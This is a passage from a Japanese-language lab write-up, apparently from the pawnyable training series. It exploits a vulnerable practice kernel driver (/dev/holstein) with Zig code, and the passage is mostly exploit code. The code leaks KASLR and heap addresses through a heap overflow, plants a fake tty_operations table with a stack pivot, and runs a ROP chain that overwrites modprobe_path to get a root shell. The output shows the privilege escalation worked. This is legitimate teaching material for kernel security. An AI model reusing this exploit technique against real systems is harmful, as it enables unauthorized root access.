[1m[37m [0m[1m[37mopen[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mclose[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mshutdown[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mcleanup[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mwrite[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mput_char[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mflush_chars[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mwrite_room[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mchars_in_buffer[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mioctl[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m,[0m[1m[37m[0m
[1m[37m};[0m[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakKASLROffset[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mptmx_fops_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81c38880[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m0x400[0m[1m[36m+[0m[37m@offsetOf[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m)[0m[1m[36m+[0m[37m@sizeOf[0m[1m[37m([0m[37m@FieldType[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m))][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mptmx_fops_addr[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mleakGBuf[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mu64[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37moffset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mcomptime[0m[1m[37m [0m[1m[37mblk[0m[1m[36m:[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mld_semaphore[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@FieldType[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ldisc_sem"[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mbreak[0m[1m[37m [0m[1m[36m:[0m[1m[37mblk[0m[1m[37m [0m[37m@offsetOf[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ldisc_sem"[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37m@offsetOf[0m[1m[37m([0m[1m[37mld_semaphore[0m[1m[37m,[0m[1m[37m [0m[33m"read_wait"[0m[1m[37m)[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37m@sizeOf[0m[1m[37m([0m[37m@typeInfo[0m[1m[37m([0m[37m@FieldType[0m[1m[37m([0m[1m[37mld_semaphore[0m[1m[37m,[0m[1m[37m [0m[33m"read_wait"[0m[1m[37m)).[0m[1m[37m@[0m[33m"struct"[0m[1m[37m.[0m[1m[37mfields[0m[1m[37m[[0m[1m[36m0[0m[1m[37m].[0m[1m[36mtype[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m0x400[0m[1m[36m+[0m[1m[37moffset[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mbytesAsValue[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[1m[37mbuf[0m[1m[37m[[0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m..]).[0m[1m[36m*[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mret[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37m([0m[1m[37mbuf[0m[1m[37m.[0m[1m[37mlen[0m[1m[36m-[0m[1m[36m8[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
ROPしたいから、悪質の[40m[35m`tty_operations`[39m[49mの[40m[35m`ioct
l`[39m[49mの値はスタックピボットのアドレスに読み込んでる。
それと、[40m[35m`ioctl`[39m[49mを読んでる時に幾つかのレジースタは管理できるから、第二引数はROPc
hainのアドレスにする(こう:[40m`for (ttys) |tty| _ = std.os.linux.ioctl(tty,
0xdeadbeef, ropchain_addr);`[49m[24m)。
[33mfn[0m[1m[37m [0m[37mposionTTYStruct[0m[1m[37m([0m[1m[37mfd[0m[1m[36m:[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m,[0m[1m[37m [0m[1m[37mg_buf_addr[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfile[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfs[0m[1m[37m.[0m[1m[37mFile[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mhandle[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[37m}).[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbw[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mio[0m[1m[37m.[0m[37mbufferedWriter[0m[1m[37m([0m[1m[37mfile[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mwriter[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfake_tty_ops[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mtty_operations[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mioctl[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mPUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP[0m[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mfake_tty_ops[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mn_written[0m[1m[36m:[0m[1m[37m [0m[1m[36musize[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[37m@sizeOf[0m[1m[37m([0m[37m@TypeOf[0m[1m[37m([0m[1m[37mfake_tty_ops[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[1m[37mn_written[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteByteNTimes[0m[1m[37m([0m[33m'A'[0m[1m[37m,[0m[1m[37m [0m[1m[36m0x400[0m[1m[37m [0m[1m[36m-[0m[1m[37m [0m[1m[37mn_written[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mtty_struct[0m[1m[37m{[0m[1m[37m [0m[1m[37m.[0m[1m[37mdriver[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mg_buf_addr[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mops[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mg_buf_addr[0m[1m[37m [0m[1m[37m})[[0m[1m[36m0[0m[1m[37m..[0m[37m@offsetOf[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m)[0m[1m[36m+[0m[37m@sizeOf[0m[1m[37m([0m[37m@FieldType[0m[1m[37m([0m[1m[37mtty_struct[0m[1m[37m,[0m[1m[37m [0m[33m"ops"[0m[1m[37m))]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mbw[0m[1m[37m.[0m[37mflush[0m[1m[37m();[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
ROPchainの内容は[40m[35m`modprobe_path`[39m[49m上書きするやつだ。
[1m[37mcat /proc/kallsyms [0m[1m[37m|[0m[1m[37m grep -e [0m[33m'modprobe_path'[0m[1m[37m -e [0m[33m'swapgs_restore_regs_and_return_to_usermode'[0m[1m[37m[0m
[1m[37mffffffff81800e10 T swapgs_restore_regs_and_return_to_usermode[0m
[40m`CONFIG_KALLSYMS_ALL=y`[49mがない場合、[40m[35m`modprobe_path`
[39m[49mは[40m`/proc/kallsyms`[49mに表示されない。
もちろんあるけど。
[33mfrom[0m[1m[37m [0m[1m[37mpwn[0m[1m[37m [0m[33mimport[0m[1m[37m [0m[1m[36m*[0m[1m[37m[0m
[1m[37mvmlinux[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mELF[0m[1m[37m([0m[33m"./vmlinux"[0m[1m[37m)[0m[1m[37m[0m
[37mhex[0m[1m[37m([0m[37mnext[0m[1m[37m([0m[1m[37mvmlinux[0m[1m[36m.[0m[1m[37msearch[0m[1m[37m([0m[33m"/sbin/modprobe[0m[33m\0[0m[33m"[0m[1m[37m)))[0m[1m[37m[0m
[1m[37m0xffffffff81e38180[0m
[33mvar[0m[1m[37m [0m[1m[37mPUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff813a478a[0m[1m[37m;[0m[1m[37m [0m[33m// stack pivot gadget[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMOV_ADDROF_RAX_RDI[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8110840a[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RAX[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff8113dd3c[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mPOP_RDI_ADD_CL_CL[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81032f59[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81800e10[0m[1m[36m+[0m[1m[36m22[0m[1m[37m;[0m[1m[37m[0m
[33mvar[0m[1m[37m [0m[1m[37mMODPROBE_PATH[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m0xffffffff81e38180[0m[1m[37m;[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37mropchain[0m[1m[37m([0m[1m[37mwriter[0m[1m[36m:[0m[1m[37m [0m[1m[37manytype[0m[1m[37m)[0m[1m[37m [0m[1m[36m![0m[1m[36musize[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mchain[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[37mPOP_RDI_ADD_CL_CL[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37mreadInt[0m[1m[37m([0m[1m[36mu64[0m[1m[37m,[0m[1m[37m [0m[33m"/tmp/x[0m[33m\x00\x00[0m[33m"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.[0m[1m[37mlittle[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMODPROBE_PATH[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37mMOV_ADDROF_RAX_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[1m[36m0[0m[1m[37m,[0m[1m[37m [0m[33m// junk[0m
[1m[37m [0m[37m@intFromPtr[0m[1m[37m([0m[1m[36m&[0m[1m[37mmodprobePath[0m[1m[37m),[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_cs[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rflags[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_rsp[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37muser_ss[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mwriter[0m[1m[37m.[0m[37mwriteAll[0m[1m[37m([0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mchain[0m[1m[37m));[0m[1m[37m[0m
[1m[37m [0m[33mreturn[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mchain[0m[1m[37m).[0m[1m[37mlen[0m[1m[37m;[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37m[0m
[33mfn[0m[1m[37m [0m[37madjust_offsets[0m[1m[37m([0m[1m[37mkaslr_offset[0m[1m[36m:[0m[1m[37m [0m[1m[36mu64[0m[1m[37m)[0m[1m[37m [0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mgadgets[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36m&[0m[1m[37m[[0m[1m[37m_[0m[1m[37m][0m[1m[36m*[0m[1m[36mu64[0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPUSH_RDX_MOV_EBP_0x415bffd9_POP_RSP_POP_R13_POP_RBP[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mMOV_ADDROF_RAX_RDI[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RAX[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mPOP_RDI_ADD_CL_CL[0m[1m[37m,[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mKPTI_TRAMPOLINE[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[36m&[0m[1m[37mMODPROBE_PATH[0m[1m[37m,[0m[1m[37m[0m
[1m[37m [0m[1m[37m};[0m[1m[37m[0m
[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mgadgets[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mg[0m[1m[36m|[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[1m[37mg[0m[1m[37m.[0m[1m[36m*[0m[1m[37m [0m[1m[36m+=[0m[1m[37m [0m[1m[37mkaslr_offset[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m}[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
またセグフォルートの問題が遭遇したので、[40m[35m`sigaction`[39m[49mを利用した。
[1m[36m<<[0m[1m[37mpawnyable[0m[1m[36m-[0m[1m[37mlib[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mtty_struct[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mheap[0m[1m[36m-[0m[1m[37mspray[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mlk01[0m[1m[36m-[0m[1m[36m2[0m[1m[36m-[0m[1m[37mheap[0m[1m[36m-[0m[1m[37mleak[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mlk01[0m[1m[36m-[0m[1m[36m2[0m[1m[36m-[0m[1m[37mheap[0m[1m[36m-[0m[1m[37moverflow[0m[1m[36m>>[0m[1m[37m[0m
[1m[36m<<[0m[1m[37mlk01[0m[1m[36m-[0m[1m[36m2[0m[1m[36m-[0m[1m[37mrop[0m[1m[36m>>[0m[1m[37m[0m
[1m[37m[0m
[33mpub[0m[1m[37m [0m[33mfn[0m[1m[37m [0m[37mmain[0m[1m[37m()[0m[1m[37m [0m[1m[36m![0m[1m[36mvoid[0m[1m[37m [0m[1m[37m{[0m[1m[37m[0m
[1m[37m [0m[37mcatchSigsegv[0m[1m[37m([0m[1m[36m&[0m[1m[37mmodprobePath[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[37msaveState[0m[1m[37m();[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mttys[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m100[0m[1m[37m][0m[1m[37mposix[0m[1m[37m.[0m[1m[37mfd_t[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mttys[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mtty[0m[1m[36m|[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mtty[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mspray[0m[1m[37m([0m[1m[37mttys[0m[1m[37m[[0m[1m[36m0[0m[1m[37m..[0m[1m[36m50[0m[1m[37m]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mfd[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mopen[0m[1m[37m([0m[33m"/dev/holstein"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37m [0m[1m[37m.[0m[1m[37mACCMODE[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37m.[0m[1m[37mRDWR[0m[1m[37m [0m[1m[37m},[0m[1m[37m [0m[1m[36m0o660[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mdefer[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mclose[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mspray[0m[1m[37m([0m[1m[37mttys[0m[1m[37m[[0m[1m[36m50[0m[1m[37m..]);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mkaslr_offset[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mleakKASLROffset[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mlog[0m[1m[37m.[0m[37minfo[0m[1m[37m([0m[33m"Kernel base: 0x{s}"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37m([0m[1m[37mkaslr_offset[0m[1m[36m+[0m[1m[36m0xffffffff81000000[0m[1m[37m))),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m [0m[37madjust_offsets[0m[1m[37m([0m[1m[37mkaslr_offset[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mg_buf[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[37mleakGBuf[0m[1m[37m([0m[1m[37mfd[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mlog[0m[1m[37m.[0m[37minfo[0m[1m[37m([0m[33m"g_buf located at: 0x{s}"[0m[1m[37m,[0m[1m[37m [0m[1m[37m.{[0m[1m[37mstd[0m[1m[37m.[0m[1m[37mfmt[0m[1m[37m.[0m[37mbytesToHex[0m[1m[37m([0m[37mbigEndianify[0m[1m[37m([0m[1m[36m8[0m[1m[37m,[0m[1m[37m [0m[1m[37mstd[0m[1m[37m.[0m[1m[37mmem[0m[1m[37m.[0m[37masBytes[0m[1m[37m([0m[1m[36m&[0m[1m[37mg_buf[0m[1m[37m)),[0m[1m[37m [0m[1m[37m.[0m[1m[37mlower[0m[1m[37m)});[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mtry[0m[1m[37m [0m[37mposionTTYStruct[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[37mg_buf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m [0m[33mconst[0m[1m[37m [0m[1m[37mropchain_addr[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mg_buf[0m[1m[37m [0m[1m[36m+[0m[1m[37m [0m[37m@sizeOf[0m[1m[37m([0m[1m[37mtty_operations[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mvar[0m[1m[37m [0m[1m[37mbuf[0m[1m[36m:[0m[1m[37m [0m[1m[37m[[0m[1m[36m10[0m[1m[37m][0m[1m[36mu8[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[36mundefined[0m[1m[37m;[0m[1m[37m[0m
[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[33mtry[0m[1m[37m [0m[1m[37mposix[0m[1m[37m.[0m[37mread[0m[1m[37m([0m[1m[37mfd[0m[1m[37m,[0m[1m[37m [0m[1m[36m&[0m[1m[37mbuf[0m[1m[37m);[0m[1m[37m[0m
[1m[37m[0m
[1m[37m [0m[33mfor[0m[1m[37m [0m[1m[37m([0m[1m[37mttys[0m[1m[37m)[0m[1m[37m [0m[1m[36m|[0m[1m[37mtty[0m[1m[36m|[0m[1m[37m [0m[1m[37m_[0m[1m[37m [0m[1m[36m=[0m[1m[37m [0m[1m[37mlinux[0m[1m[37m.[0m[37mioctl[0m[1m[37m([0m[1m[37mtty[0m[1m[37m,[0m[1m[37m [0m[1m[36m0xdeadbeef[0m[1m[37m,[0m[1m[37m [0m[1m[37mropchain_addr[0m[1m[37m);[0m[1m[37m[0m
[1m[37m}[0m[1m[37m[0m
[1m[37mwhoami[0m
[1m[37m./exploit[0m
[33m# execute bogus file[0m[1m[37m[0m
[1m[37m/tmp/unknown [0m[1m[37m&[0m[1m[37m> /tmp/null [0m[33m# /dev/null is priviledged[0m[1m[37m[0m
[1m[37mcat /tmp/whoisit[0m
[1m[37mwhoami: unknown uid 1337[0m
[1m[37m[INFO] Kernel base: 0xffffffffa0800000[0m
[1m[37m[INFO] g_buf located at: 0xffff9f45c3108000[0m
[1m[37m[INFO] You won!![0m
[1m[37mroot[0m
DIR 完全なエクスプロイト
実はスタックピボットは不要だった:AAWガジェットを利用したら結果は同じだ。
他の方法
core_pattern [4]読み込み
コアダンプが発生した際、[40m[35m`core_pattern`[39m[49mで定義されたプログラッムが呼び出される
。[40m[35m`core_pattern`[39m[49mはFGKASLR影響しを受けないらしいから、特に便利っすね。
[24m [40m[35m`task_struct.cred`[39m[49m読み書き
